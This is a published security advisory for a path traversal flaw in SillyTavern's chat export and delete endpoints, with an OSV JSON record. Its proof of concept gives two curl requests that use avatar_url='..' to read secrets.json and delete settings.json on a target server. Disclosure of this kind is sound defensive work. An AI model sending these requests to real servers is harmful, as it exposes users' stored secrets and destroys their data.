GHSA-VPRR-Q85P-79MF
Vulnerability from github – Published: 2026-04-01 21:41 – Updated: 2026-04-06 17:24Summary
A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..".
Details
The input validator used by avatar_url blocks only / and NUL bytes, but does not block traversal segments like ...
Evidence:
- Weak validator regex (does not reject ..):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27
- Vulnerable delete path construction:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577
- Vulnerable export path construction:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598
- Endpoint auth context (authenticated user access):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239
Because avatar_url=".." is accepted, path.join(<user>/chats, "..") resolves to <user>/, enabling direct access to files outside the chats directory.
PoC
Prerequisites:
- Valid authenticated session cookie (cookie.txt)
- Valid CSRF token ($TOKEN)
Read sensitive file (secrets.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
http://TARGET:8000/api/chats/export
Delete sensitive file (settings.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","chatfile":"settings.json"}' \
http://TARGET:8000/api/chats/delete
Impact
- Confidentiality: exposed per-user secrets and config data.
- Integrity/Availability: attacker can delete critical per-user files and break account operation.
- Risk is significant in multi-user or remotely reachable deployments.
Resolution
The issue was addressed in version 1.17.0
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.16.0"
},
"package": {
"ecosystem": "npm",
"name": "sillytavern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34524"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:41:48Z",
"nvd_published_at": "2026-04-02T18:16:29Z",
"severity": "HIGH"
},
"details": "## Summary\nA Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=\"..\"`.\n\n### Details\nThe input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.\n\nEvidence:\n- Weak validator regex (does not reject `..`): \n \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27\u003e\n- Vulnerable delete path construction: \n \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577\u003e\n- Vulnerable export path construction: \n \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598\u003e\n- Endpoint auth context (authenticated user access): \n \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nBecause `avatar_url=\"..\"` is accepted, `path.join(\u003cuser\u003e/chats, \"..\")` resolves to `\u003cuser\u003e/`, enabling direct access to files outside the chats directory.\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nRead sensitive file (`secrets.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n -d \u0027{\"avatar_url\":\"..\",\"is_group\":false,\"file\":\"secrets.json\",\"format\":\"jsonl\",\"exportfilename\":\"x\"}\u0027 \\\n http://TARGET:8000/api/chats/export\n```\n\nDelete sensitive file (`settings.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n -d \u0027{\"avatar_url\":\"..\",\"chatfile\":\"settings.json\"}\u0027 \\\n http://TARGET:8000/api/chats/delete\n```\n\n### Impact\n- Confidentiality: exposed per-user secrets and config data.\n- Integrity/Availability: attacker can delete critical per-user files and break account operation.\n- Risk is significant in multi-user or remotely reachable deployments.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0",
"id": "GHSA-vprr-q85p-79mf",
"modified": "2026-04-06T17:24:25Z",
"published": "2026-04-01T21:41:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34524"
},
{
"type": "PACKAGE",
"url": "https://github.com/SillyTavern/SillyTavern"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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